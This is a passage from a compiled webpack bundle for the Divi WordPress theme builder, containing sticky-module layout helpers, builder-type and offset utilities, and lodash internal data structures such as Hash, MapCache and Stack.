* @param {object} $module * @param {object} $placeholder * * @returns {object} */ exports.filterInvalidModules = filterInvalidModules; var getStickyStyles = function getStickyStyles(id, $module, $placeholder) { // Sticky state classname to be added; these will make cloned module to have fixed position and // make sticky style take effect var stickyStyleClassname = 'et_pb_sticky et_pb_sticky_style_dom'; // Cloned the module add sticky state classname; set the opacity to 0 and remove the transition // so the dimension can be immediately retrieved var $stickyStyleDom = $module.clone().addClass(stickyStyleClassname).attr({ 'data-sticky-style-dom-id': id, // Remove inline styles so on-page styles works. Especially needed if module is in sticky state style: '' }).css({ opacity: 0, transition: 'none', animation: 'none' }); // Cloned module might contain image. However the image might take more than a milisecond to be // loaded on the cloned module after the module is appended to the layout EVEN IF the image on // the $module has been loaded. This might load to inaccurate sticky style calculation. To avoid // it, recreate the image by getting actual width and height then recreate the image using SVG $stickyStyleDom.find('img').each(function (index) { var $img = (0, _jquery.default)(this); var $measuredImg = $module.find('img').eq(index); var measuredWidth = (0, _get.default)($measuredImg, [0, 'naturalWidth'], $module.find('img').eq(index).outerWidth()); var measuredHeight = (0, _get.default)($measuredImg, [0, 'naturalHeight'], $module.find('img').eq(index).outerHeight()); $img.attr({ // Remove scrse to force DOM to use src scrset: '', // Recreate svg to use image's actual width so the image reacts appropriately when sticky // style modifies image dimension (eg image has 100% and padding in sticky style is larger; // this will resulting in image being smaller because the wrapper dimension is smaller) src: "data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"".concat(measuredWidth, "\" height=\"").concat(measuredHeight, "\"><rect width=\"").concat(measuredWidth, "\" height=\"").concat(measuredHeight, "\" /></svg>") }); }); // Append the cloned DOM $module.after($stickyStyleDom); // Get inline margin style value that is substraction of sticky style - style due to position // relative to fixed change var getMarginStyle = function getMarginStyle(corner) { var marginPropName = "margin".concat(corner); var $normalModule = $module.hasClass('et_pb_sticky') ? $placeholder : $module; return parseFloat($stickyStyleDom.css(marginPropName)) - parseFloat($normalModule.css(marginPropName)); }; // Measure sticky style DOM properties var styles = { height: $stickyStyleDom.outerHeight(), width: $stickyStyleDom.outerWidth(), marginRight: getMarginStyle('Right'), marginLeft: getMarginStyle('Left'), padding: $stickyStyleDom.css('padding') }; // Immediately remove the cloned DOM (0, _jquery.default)(".et_pb_sticky_style_dom[data-sticky-style-dom-id=\"".concat(id, "\"]")).remove(); return styles; }; /** * Remove given property's transition from transition property's value. To make some properties * (eg. Width, top, left) transition smoothly when entering / leaving sticky state, its property * and transition need to be removed then re-added 50ms later. This is mostly happened because the * module positioning changed from relative to fixed when entering/leaving sticky state. * * @since 4.6.0 * * @param {string} transitionValue * @param {Array} trimmedProperties * * @returns {string} */ exports.getStickyStyles = getStickyStyles; var trimTransitionValue = function trimTransitionValue(transitionValue, trimmedProperties) { // Make sure that transitionValue is string. Otherwise split will throw error if (!(0, _isString.default)(transitionValue)) { transitionValue = ''; } var transitions = transitionValue.split(', '); var trimmedValue = (0, _filter.default)(transitions, function (transition) { return !(0, _includes.default)(trimmedProperties, (0, _head.default)(transition.split(' '))); }); return (0, _isEmpty.default)(trimmedValue) ? 'none' : trimmedValue.join(', '); }; /** * Calculate automatic offset that should be given based on sum of heights of all sticky modules * that are currently in sticky state when window reaches $target's offset. * * @since 4.6.0 * * @param {object} $target * * @returns {number} */ exports.trimTransitionValue = trimTransitionValue; var getClosestStickyModuleOffsetTop = function getClosestStickyModuleOffsetTop($target) { var offset = $target.offset(); offset.right = offset.left + $target.outerWidth(); var closestStickyElement = null; var closestStickyOffsetTop = 0; // Get all sticky module data from store. NOTE: this util might be used on various output build // so it needs to get sticky store value via global object instead of importing it var stickyModules = (0, _get.default)(window.ET_FE, 'stores.sticky.modules', {}); // Loop sticky module data to get the closest sticky module to given y offset. Sticky module // already has map of valid modules it needs to consider as automatic offset due to // adjacent-column situation. // @see https://github.com/elegantthemes/Divi/issues/19432 (0, _forEach.default)(stickyModules, function (stickyModule) { // Ignore sticky module if it is stuck to bottom if (!(0, _includes.default)(['top_bottom', 'top'], stickyModule.position)) { return; } // Ignore if $target is sticky module (that sticks to top; stuck to bottom check above has // made sure of it) - otherwise the auto-generate offset will subtract the element's offset // and causing the scroll never reaches $target location. // @see https://github.com/elegantthemes/Divi/issues/23240 if ($target.is((0, _get.default)(stickyModule, 'selector'))) { return; } // Ignore if sticky module's right edge doesn't collide with target's left edge if ((0, _get.default)(stickyModule, 'offsets.right', 0) < offset.left) { return; } // Ignore if sticky module's left edge doesn't collide with target's right edge if ((0, _get.default)(stickyModule, 'offsets.left', 0) > offset.right) { return; } // Ignore sticky module if it is located below given y offset if ((0, _get.default)(stickyModule, 'offsets.top', 0) > offset.top) { return; } // Ignore sticky module if its bottom limit is higher than given y offset var bottomLimitBottom = (0, _get.default)(stickyModule, 'bottomLimitSettings.offsets.bottom'); if (bottomLimitBottom && bottomLimitBottom < offset.top) { return; } closestStickyElement = stickyModule; }); // Once closest sticky module to given y offset has been found, loop its topOffsetModules, get // each module's heightSticky and return the sum of their heights if ((0, _get.default)(closestStickyElement, 'topOffsetModules', false)) { (0, _forEach.default)((0, _get.default)(closestStickyElement, 'topOffsetModules', []), function (stickyId) { // Get sticky module's height on sticky state; fallback to height just to be safe var stickyModuleHeight = (0, _get.default)(stickyModules, [stickyId, 'heightSticky'], (0, _get.default)(stickyModules, [stickyId, 'height'], 0)); // Sum up top offset module's height closestStickyOffsetTop += stickyModuleHeight; }); // Get closest-to-y-offset's sticky module's height on sticky state; var closestStickyElementHeight = (0, _get.default)(stickyModules, [closestStickyElement.id, 'heightSticky'], (0, _get.default)(stickyModules, [closestStickyElement.id, 'height'], 0)); // Sum up top offset module's height closestStickyOffsetTop += closestStickyElementHeight; } return closestStickyOffsetTop; }; /** * Determine if the target is in sticky state. * * @since 4.9.5 * * @param {object} $target * * @returns {bool} */ exports.getClosestStickyModuleOffsetTop = getClosestStickyModuleOffsetTop; var isTargetStickyState = function isTargetStickyState($target) { var stickyModules = (0, _get.default)(window.ET_FE, 'stores.sticky.modules', {}); var isStickyState = false; (0, _forEach.default)(stickyModules, function (stickyModule) { var isTarget = $target.is((0, _get.default)(stickyModule, 'selector')); var isSticky = stickyModule.isSticky, isPaused = stickyModule.isPaused; // If the target is in sticky state and not paused, set isStickyState to true and exit iteration. // Elements can have a sticky limit (ex: section) in which case they can be sticky but paused. if (isTarget && isSticky && !isPaused) { isStickyState = true; return false; // Exit iteration. } }); return isStickyState; }; exports.isTargetStickyState = isTargetStickyState; /***/ }, /***/ "../scripts/utils/utils.js": /*!*********************************!*\ !*** ../scripts/utils/utils.js ***! \*********************************/ /*! no static exports found */ /***/ function scriptsUtilsUtilsJs(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.setImportantInlineValue = exports.registerFrontendComponent = exports.maybeIncreaseEmitterMaxListeners = exports.maybeDecreaseEmitterMaxListeners = exports.isVB = exports.isTB = exports.isLBP = exports.isLBB = exports.isFE = exports.isExtraTheme = exports.isDiviTheme = exports.isBuilderType = exports.isBuilder = exports.isBlockEditor = exports.isBFB = exports.is = exports.getOffsets = void 0; var _includes = _interopRequireDefault(__webpack_require__( /*! lodash/includes */ "./node_modules/lodash/includes.js")); var _get = _interopRequireDefault(__webpack_require__( /*! lodash/get */ "./node_modules/lodash/get.js")); var _jquery = _interopRequireDefault(__webpack_require__( /*! jquery */ "jquery")); var _frameHelpers = __webpack_require__( /*! @core/admin/js/frame-helpers */ "../../../core/admin/js/frame-helpers.js"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /** * Check current page's builder Type. * * @since 4.6.0 * * @param {string} builderType Fe|vb|bfb|tb|lbb|lbp. * * @returns {bool} */ var isBuilderType = function isBuilderType(builderType) { return builderType === window.et_builder_utils_params.builderType; }; /** * Return condition value. * * @since 4.6.0 * * @param {string} conditionName * * @returns {bool} */ exports.isBuilderType = isBuilderType; var is = function is(conditionName) { return window.et_builder_utils_params.condition[conditionName]; }; /** * Is current page Frontend. * * @since 4.6.0 * * @type {bool} */ exports.is = is; var isFE = isBuilderType('fe'); /** * Is current page Visual Builder. * * @since 4.6.0 * * @type {bool} */ exports.isFE = isFE; var isVB = isBuilderType('vb'); /** * Is current page BFB / New Builder Experience. * * @since 4.6.0 * * @type {bool} */ exports.isVB = isVB; var isBFB = isBuilderType('bfb'); /** * Is current page Theme Builder. * * @since 4.6.0 * * @type {bool} */ exports.isBFB = isBFB; var isTB = isBuilderType('tb'); /** * Is current page Layout Block Builder. * * @type {bool} */ exports.isTB = isTB; var isLBB = isBuilderType('lbb'); /** * Is current page uses Divi Theme. * * @since 4.6.0 * * @type {bool} */ exports.isLBB = isLBB; var isDiviTheme = is('diviTheme'); /** * Is current page uses Extra Theme. * * @since 4.6.0 * * @type {bool} */ exports.isDiviTheme = isDiviTheme; var isExtraTheme = is('extraTheme'); /** * Is current page Layout Block Preview. * * @since 4.6.0 * * @type {bool} */ exports.isExtraTheme = isExtraTheme; var isLBP = isBuilderType('lbp'); /** * Check if current window is block editor window (gutenberg editing page). * * @since 4.6.0 * * @type {bool} */ exports.isLBP = isLBP; var isBlockEditor = 0 < (0, _jquery.default)(_frameHelpers.top_window.document).find('.edit-post-layout__content').length; /** * Check if current window is builder window (VB, BFB, TB, LBB). * * @since 4.6.0 * * @type {bool} */ exports.isBlockEditor = isBlockEditor; var isBuilder = (0, _includes.default)(['vb', 'bfb', 'tb', 'lbb'], window.et_builder_utils_params.builderType); /** * Get offsets value of all sides. * * @since 4.6.0 * * @param {object} $selector JQuery selector instance. * @param {number} height * @param {number} width * * @returns {object} */ exports.isBuilder = isBuilder; var getOffsets = function getOffsets($selector) { var width = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; var height = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0; // Return previously saved offset if sticky tab is active; retrieving actual offset contain risk // of incorrect offsets if sticky horizontal / vertical offset of relative position is modified. var isStickyTabActive = isBuilder && $selector.hasClass('et_pb_sticky') && 'fixed' !== $selector.css('position'); var cachedOffsets = $selector.data('et-offsets'); var cachedDevice = $selector.data('et-offsets-device'); var currentDevice = (0, _get.default)(window.ET_FE, 'stores.window.breakpoint', ''); // Only return cachedOffsets if sticky tab is active and cachedOffsets is not undefined and // cachedDevice equal to currentDevice. if (isStickyTabActive && cachedOffsets !== undefined && cachedDevice === currentDevice) { return cachedOffsets; } // Get top & left offsets var offsets = $selector.offset(); // If no offsets found, return empty object if ('undefined' === typeof offsets) { return {}; } // FE sets the flag for sticky module which uses transform as classname on module wrapper while // VB, BFB, TB, and LB sets the flag on CSS output's <style> element because it can't modify // its parent. This compromises avoids the needs to extract transform rendering logic var hasTransform = isBuilder ? $selector.children('.et-fb-custom-css-output[data-sticky-has-transform="on"]').length > 0 : $selector.hasClass('et_pb_sticky--has-transform'); var top = 'undefined' === typeof offsets.top ? 0 : offsets.top; var left = 'undefined' === typeof offsets.left ? 0 : offsets.left; // If module is sticky module that uses transform, its offset calculation needs to be adjusted // because transform tends to modify the positioning of the module if (hasTransform) { // Calculate offset (relative to selector's parent) AFTER it is affected by transform // NOTE: Can't use jQuery's position() because it considers margin-left `auto` which causes issue // on row thus this manually calculate the difference between element and its parent's offset // @see https://github.com/jquery/jquery/blob/1.12-stable/src/offset.js#L149-L155 var parentOffsets = $selector.parent().offset(); var transformedPosition = { top: offsets.top - parentOffsets.top, left: offsets.left - parentOffsets.left }; // Calculate offset (relative to selector's parent) BEFORE it is affected by transform var preTransformedPosition = { top: $selector[0].offsetTop, left: $selector[0].offsetLeft }; // Update offset's top value top += preTransformedPosition.top - transformedPosition.top; offsets.top = top; // Update offset's left value left += preTransformedPosition.left - transformedPosition.left; offsets.left = left; } // Manually calculate right & bottom offsets offsets.right = left + width; offsets.bottom = top + height; // Save copy of the offset on element's .data() in case of scenario where retrieving actual // offset value will lead to incorrect offset value (eg. sticky tab active with position offset) $selector.data('et-offsets', offsets); // Add current device to cache if ('' !== currentDevice) { $selector.data('et-offsets-device', offsets); } return offsets; }; /** * Increase EventEmitter's max listeners if lister count is about to surpass the max listeners limit * IMPORTANT: Need to be placed BEFORE `.on()`. * * @since 4.6.0 * @param {EventEmitter} emitter * @param eventName * @param {string} EventName */ exports.getOffsets = getOffsets; var maybeIncreaseEmitterMaxListeners = function maybeIncreaseEmitterMaxListeners(emitter, eventName) { var currentCount = emitter.listenerCount(eventName); var maxListeners = emitter.getMaxListeners(); if (currentCount === maxListeners) { emitter.setMaxListeners(maxListeners + 1); } }; /** * Decrease EventEmitter's max listeners if listener count is less than max listener limit and above * 10 (default max listener limit). If listener count is less than 10, max listener limit will * remain at 10 * IMPORTANT: Need to be placed AFTER `.removeListener()`. * * @since 4.6.0 * * @param {EventEmitter} emitter * @param {string} eventName */ exports.maybeIncreaseEmitterMaxListeners = maybeIncreaseEmitterMaxListeners; var maybeDecreaseEmitterMaxListeners = function maybeDecreaseEmitterMaxListeners(emitter, eventName) { var currentCount = emitter.listenerCount(eventName); var maxListeners = emitter.getMaxListeners(); if (maxListeners > 10) { emitter.setMaxListeners(currentCount); } }; /** * Expose frontend (FE) component via global object so it can be accessed and reused externally * Note: window.ET_Builder is for builder app's component; window.ET_FE is for frontend component. * * @since 4.6.0 * * @param {string} type * @param {string} name * @param {mixed} component */ exports.maybeDecreaseEmitterMaxListeners = maybeDecreaseEmitterMaxListeners; var registerFrontendComponent = function registerFrontendComponent(type, name, component) { // Make sure that ET_FE is available if ('undefined' === typeof window.ET_FE) { window.ET_FE = {}; } if ('object' !== _typeof(window.ET_FE[type])) { window.ET_FE[type] = {}; } window.ET_FE[type][name] = component; }; /** * Set inline style with !important tag. JQuery's .css() can't set value with `!important` tag so * here it is. * * @since 4.6.2 * * @param {object} $element * @param {string} cssProp * @param {string} value */ exports.registerFrontendComponent = registerFrontendComponent; var setImportantInlineValue = function setImportantInlineValue($element, cssProp, value) { // Remove prop from current inline style in case the prop is already exist $element.css(cssProp, ''); // Get current inline style var inlineStyle = $element.attr('style'); // Re-insert inline style + property with important tag $element.attr('style', "".concat(inlineStyle, " ").concat(cssProp, ": ").concat(value, " !important;")); }; exports.setImportantInlineValue = setImportantInlineValue; /***/ }, /***/ "./node_modules/lodash/_DataView.js": /*!******************************************!*\ !*** ./node_modules/lodash/_DataView.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_DataViewJs(module, exports, __webpack_require__) { var getNative = __webpack_require__( /*! ./_getNative */ "./node_modules/lodash/_getNative.js"), root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"); /* Built-in method references that are verified to be native. */ var DataView = getNative(root, 'DataView'); module.exports = DataView; /***/ }, /***/ "./node_modules/lodash/_Hash.js": /*!**************************************!*\ !*** ./node_modules/lodash/_Hash.js ***! \**************************************/ /*! no static exports found */ /***/ function node_modulesLodash_HashJs(module, exports, __webpack_require__) { var hashClear = __webpack_require__( /*! ./_hashClear */ "./node_modules/lodash/_hashClear.js"), hashDelete = __webpack_require__( /*! ./_hashDelete */ "./node_modules/lodash/_hashDelete.js"), hashGet = __webpack_require__( /*! ./_hashGet */ "./node_modules/lodash/_hashGet.js"), hashHas = __webpack_require__( /*! ./_hashHas */ "./node_modules/lodash/_hashHas.js"), hashSet = __webpack_require__( /*! ./_hashSet */ "./node_modules/lodash/_hashSet.js"); /** * Creates a hash object. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function Hash(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `Hash`. Hash.prototype.clear = hashClear; Hash.prototype['delete'] = hashDelete; Hash.prototype.get = hashGet; Hash.prototype.has = hashHas; Hash.prototype.set = hashSet; module.exports = Hash; /***/ }, /***/ "./node_modules/lodash/_ListCache.js": /*!*******************************************!*\ !*** ./node_modules/lodash/_ListCache.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_ListCacheJs(module, exports, __webpack_require__) { var listCacheClear = __webpack_require__( /*! ./_listCacheClear */ "./node_modules/lodash/_listCacheClear.js"), listCacheDelete = __webpack_require__( /*! ./_listCacheDelete */ "./node_modules/lodash/_listCacheDelete.js"), listCacheGet = __webpack_require__( /*! ./_listCacheGet */ "./node_modules/lodash/_listCacheGet.js"), listCacheHas = __webpack_require__( /*! ./_listCacheHas */ "./node_modules/lodash/_listCacheHas.js"), listCacheSet = __webpack_require__( /*! ./_listCacheSet */ "./node_modules/lodash/_listCacheSet.js"); /** * Creates an list cache object. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function ListCache(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `ListCache`. ListCache.prototype.clear = listCacheClear; ListCache.prototype['delete'] = listCacheDelete; ListCache.prototype.get = listCacheGet; ListCache.prototype.has = listCacheHas; ListCache.prototype.set = listCacheSet; module.exports = ListCache; /***/ }, /***/ "./node_modules/lodash/_Map.js": /*!*************************************!*\ !*** ./node_modules/lodash/_Map.js ***! \*************************************/ /*! no static exports found */ /***/ function node_modulesLodash_MapJs(module, exports, __webpack_require__) { var getNative = __webpack_require__( /*! ./_getNative */ "./node_modules/lodash/_getNative.js"), root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"); /* Built-in method references that are verified to be native. */ var Map = getNative(root, 'Map'); module.exports = Map; /***/ }, /***/ "./node_modules/lodash/_MapCache.js": /*!******************************************!*\ !*** ./node_modules/lodash/_MapCache.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_MapCacheJs(module, exports, __webpack_require__) { var mapCacheClear = __webpack_require__( /*! ./_mapCacheClear */ "./node_modules/lodash/_mapCacheClear.js"), mapCacheDelete = __webpack_require__( /*! ./_mapCacheDelete */ "./node_modules/lodash/_mapCacheDelete.js"), mapCacheGet = __webpack_require__( /*! ./_mapCacheGet */ "./node_modules/lodash/_mapCacheGet.js"), mapCacheHas = __webpack_require__( /*! ./_mapCacheHas */ "./node_modules/lodash/_mapCacheHas.js"), mapCacheSet = __webpack_require__( /*! ./_mapCacheSet */ "./node_modules/lodash/_mapCacheSet.js"); /** * Creates a map cache object to store key-value pairs. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function MapCache(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `MapCache`. MapCache.prototype.clear = mapCacheClear; MapCache.prototype['delete'] = mapCacheDelete; MapCache.prototype.get = mapCacheGet; MapCache.prototype.has = mapCacheHas; MapCache.prototype.set = mapCacheSet; module.exports = MapCache; /***/ }, /***/ "./node_modules/lodash/_Promise.js": /*!*****************************************!*\ !*** ./node_modules/lodash/_Promise.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodash_PromiseJs(module, exports, __webpack_require__) { var getNative = __webpack_require__( /*! ./_getNative */ "./node_modules/lodash/_getNative.js"), root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"); /* Built-in method references that are verified to be native. */ var Promise = getNative(root, 'Promise'); module.exports = Promise; /***/ }, /***/ "./node_modules/lodash/_Set.js": /*!*************************************!*\ !*** ./node_modules/lodash/_Set.js ***! \*************************************/ /*! no static exports found */ /***/ function node_modulesLodash_SetJs(module, exports, __webpack_require__) { var getNative = __webpack_require__( /*! ./_getNative */ "./node_modules/lodash/_getNative.js"), root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"); /* Built-in method references that are verified to be native. */ var Set = getNative(root, 'Set'); module.exports = Set; /***/ }, /***/ "./node_modules/lodash/_SetCache.js": /*!******************************************!*\ !*** ./node_modules/lodash/_SetCache.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_SetCacheJs(module, exports, __webpack_require__) { var MapCache = __webpack_require__( /*! ./_MapCache */ "./node_modules/lodash/_MapCache.js"), setCacheAdd = __webpack_require__( /*! ./_setCacheAdd */ "./node_modules/lodash/_setCacheAdd.js"), setCacheHas = __webpack_require__( /*! ./_setCacheHas */ "./node_modules/lodash/_setCacheHas.js"); /** * * Creates an array cache object to store unique values. * * @private * @constructor * @param {Array} [values] The values to cache. */ function SetCache(values) { var index = -1, length = values == null ? 0 : values.length; this.__data__ = new MapCache(); while (++index < length) { this.add(values[index]); } } // Add methods to `SetCache`. SetCache.prototype.add = SetCache.prototype.push = setCacheAdd; SetCache.prototype.has = setCacheHas; module.exports = SetCache; /***/ }, /***/ "./node_modules/lodash/_Stack.js": /*!***************************************!*\ !*** ./node_modules/lodash/_Stack.js ***! \***************************************/ /*! no static exports found */ /***/ function node_modulesLodash_StackJs(module, exports, __webpack_require__) { var ListCache = __webpack_require__( /*! ./_ListCache */ "./node_modules/lodash/_ListCache.js"), stackClear = __webpack_require__( /*! ./_stackClear */ "./node_modules/lodash/_stackClear.js"), stackDelete = __webpack_require__( /*! ./_stackDelete */ "./node_modules/lodash/_stackDelete.js"), stackGet = __webpack_require__( /*! ./_stackGet */ "./node_modules/lodash/_stackGet.js"), stackHas = __webpack_require__( /*! ./_stackHas */ "./node_modules/lodash/_stackHas.js"), stackSet = __webpack_require__( /*! ./_stackSet */ "./node_modules/lodash/_stackSet.js"); /** * Creates a stack cache object to store key-value pairs. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function Stack(entries) { var data = this.__data__ = new ListCache(entries); this.size = data.size; } // Add methods to `Stack`. Stack.prototype.clear = stackClear; Stack.prototype['delete'] = stackDelete; Stack.prototype.get = stackGet; Stack.prototype.has = stackHas; Stack.prototype.set = stackSet; module.exports = Stack; /***/ }, /***/ "./node_modules/lodash/_Symbol.js": /*!****************************************!*\ !*** ./node_modules/lodash/_Symbol.js ***! \****************************************/ /*! no static exports found */ /***/ function node_modulesLodash_SymbolJs(module, exports, __webpack_require__) { var root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"); /** Built-in value references. */ var _Symbol = root.Symbol; module.exports = _Symbol; /***/ }, /***/ "./node_modules/lodash/_Uint8Array.js": /*!********************************************!*\ !*** ./node_modules/lodash/_Uint8Array.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_Uint8ArrayJs(module, exports, __webpack_require__) { var root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"); /** Built-in value references. */ var Uint8Array = root.Uint8Array; module.exports = Uint8Array; /***/ }, /***/ "./node_modules/lodash/_WeakMap.js": /*!*****************************************!*\ !*** ./node_modules/lodash/_WeakMap.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodash_WeakMapJs(module, exports, __webpack_require__) { var getNative = __webpack_require__( /*! ./_getNative */ "./node_modules/lodash/_getNative.js"), root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"); /* Built-in method references that are verified to be native. */ var WeakMap = getNative(root, 'WeakMap'); module.exports = WeakMap; /***/ }, /***/ "./node_modules/lodash/_arrayEach.js": /*!*******************************************!*\ !*** ./node_modules/lodash/_arrayEach.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_arrayEachJs(module, exports) { /** * A specialized version of `_.forEach` for arrays without support for * iteratee shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns `array`. */ function arrayEach(array, iteratee) { var index = -1, length = array == null ? 0 : array.length; while (++index < length) { if (iteratee(array[index], index, array) === false) { break; } } return array; } module.exports = arrayEach; /***/ }, /***/ "./node_modules/lodash/_arrayFilter.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_arrayFilter.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_arrayFilterJs(module, exports) { /** * A specialized version of `_.filter` for arrays without support for * iteratee shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} predicate The function invoked per iteration. * @returns {Array} Returns the new filtered array. */ function arrayFilter(array, predicate) { var index = -1, length = array == null ? 0 : array.length, resIndex = 0, result = []; while (++index < length) { var value = array[index]; if (predicate(value, index, array)) { result[resIndex++] = value; } } return result; } module.exports = arrayFilter; /***/ }, /***/ "./node_modules/lodash/_arrayLikeKeys.js": /*!***********************************************!*\ !*** ./node_modules/lodash/_arrayLikeKeys.js ***! \***********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_arrayLikeKeysJs(module, exports, __webpack_require__) { var baseTimes = __webpack_require__( /*! ./_baseTimes */ "./node_modules/lodash/_baseTimes.js"), isArguments = __webpack_require__( /*! ./isArguments */ "./node_modules/lodash/isArguments.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"), isBuffer = __webpack_require__( /*! ./isBuffer */ "./node_modules/lodash/isBuffer.js"), isIndex = __webpack_require__( /*! ./_isIndex */ "./node_modules/lodash/_isIndex.js"), isTypedArray = __webpack_require__( /*! ./isTypedArray */ "./node_modules/lodash/isTypedArray.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Creates an array of the enumerable property names of the array-like `value`. * * @private * @param {*} value The value to query. * @param {boolean} inherited Specify returning inherited property names. * @returns {Array} Returns the array of property names. */ function arrayLikeKeys(value, inherited) { var isArr = isArray(value), isArg = !isArr && isArguments(value), isBuff = !isArr && !isArg && isBuffer(value), isType = !isArr && !isArg && !isBuff && isTypedArray(value), skipIndexes = isArr || isArg || isBuff || isType, result = skipIndexes ? baseTimes(value.length, String) : [], length = result.length; for (var key in value) { if ((inherited || hasOwnProperty.call(value, key)) && !(skipIndexes && ( // Safari 9 has enumerable `arguments.length` in strict mode. key == 'length' || // Node.js 0.10 has enumerable non-index properties on buffers. isBuff && (key == 'offset' || key == 'parent') || // PhantomJS 2 has enumerable non-index properties on typed arrays. isType && (key == 'buffer' || key == 'byteLength' || key == 'byteOffset') || // Skip index properties. isIndex(key, length)))) { result.push(key); } } return result; } module.exports = arrayLikeKeys; /***/ }, /***/ "./node_modules/lodash/_arrayMap.js": /*!******************************************!*\ !*** ./node_modules/lodash/_arrayMap.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_arrayMapJs(module, exports) { /** * A specialized version of `_.map` for arrays without support for iteratee * shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns the new mapped array. */ function arrayMap(array, iteratee) { var index = -1, length = array == null ? 0 : array.length, result = Array(length); while (++index < length) { result[index] = iteratee(array[index], index, array); } return result; } module.exports = arrayMap; /***/ }, /***/ "./node_modules/lodash/_arrayPush.js": /*!*******************************************!*\ !*** ./node_modules/lodash/_arrayPush.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_arrayPushJs(module, exports) { /** * Appends the elements of `values` to `array`. * * @private * @param {Array} array The array to modify. * @param {Array} values The values to append. * @returns {Array} Returns `array`. */ function arrayPush(array, values) { var index = -1, length = values.length, offset = array.length; while (++index < length) { array[offset + index] = values[index]; } return array; } module.exports = arrayPush; /***/ }, /***/ "./node_modules/lodash/_arraySome.js": /*!*******************************************!*\ !*** ./node_modules/lodash/_arraySome.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_arraySomeJs(module, exports) { /** * A specialized version of `_.some` for arrays without support for iteratee * shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} predicate The function invoked per iteration. * @returns {boolean} Returns `true` if any element passes the predicate check, * else `false`. */ function arraySome(array, predicate) { var index = -1, length = array == null ? 0 : array.length; while (++index < length) { if (predicate(array[index], index, array)) { return true; } } return false; } module.exports = arraySome; /***/ }, /***/ "./node_modules/lodash/_assocIndexOf.js": /*!**********************************************!*\ !*** ./node_modules/lodash/_assocIndexOf.js ***! \**********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_assocIndexOfJs(module, exports, __webpack_require__) { var eq = __webpack_require__( /*! ./eq */ "./node_modules/lodash/eq.js"); /** * Gets the index at which the `key` is found in `array` of key-value pairs. * * @private * @param {Array} array The array to inspect. * @param {*} key The key to search for. * @returns {number} Returns the index of the matched value, else `-1`. */ function assocIndexOf(array, key) { var length = array.length; while (length--) { if (eq(array[length][0], key)) { return length; } } return -1; } module.exports = assocIndexOf; /***/ }, /***/ "./node_modules/lodash/_baseEach.js": /*!******************************************!*\ !*** ./node_modules/lodash/_baseEach.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseEachJs(module, exports, __webpack_require__) { var baseForOwn = __webpack_require__( /*! ./_baseForOwn */ "./node_modules/lodash/_baseForOwn.js"), createBaseEach = __webpack_require__( /*! ./_createBaseEach */ "./node_modules/lodash/_createBaseEach.js"); /** * The base implementation of `_.forEach` without support for iteratee shorthands. * * @private * @param {Array|Object} collection The collection to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Array|Object} Returns `collection`. */ var baseEach = createBaseEach(baseForOwn); module.exports = baseEach; /***/ }, /***/ "./node_modules/lodash/_baseFilter.js": /*!********************************************!*\ !*** ./node_modules/lodash/_baseFilter.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseFilterJs(module, exports, __webpack_require__) { var baseEach = __webpack_require__( /*! ./_baseEach */ "./node_modules/lodash/_baseEach.js"); /** * The base implementation of `_.filter` without support for iteratee shorthands. * * @private * @param {Array|Object} collection The collection to iterate over. * @param 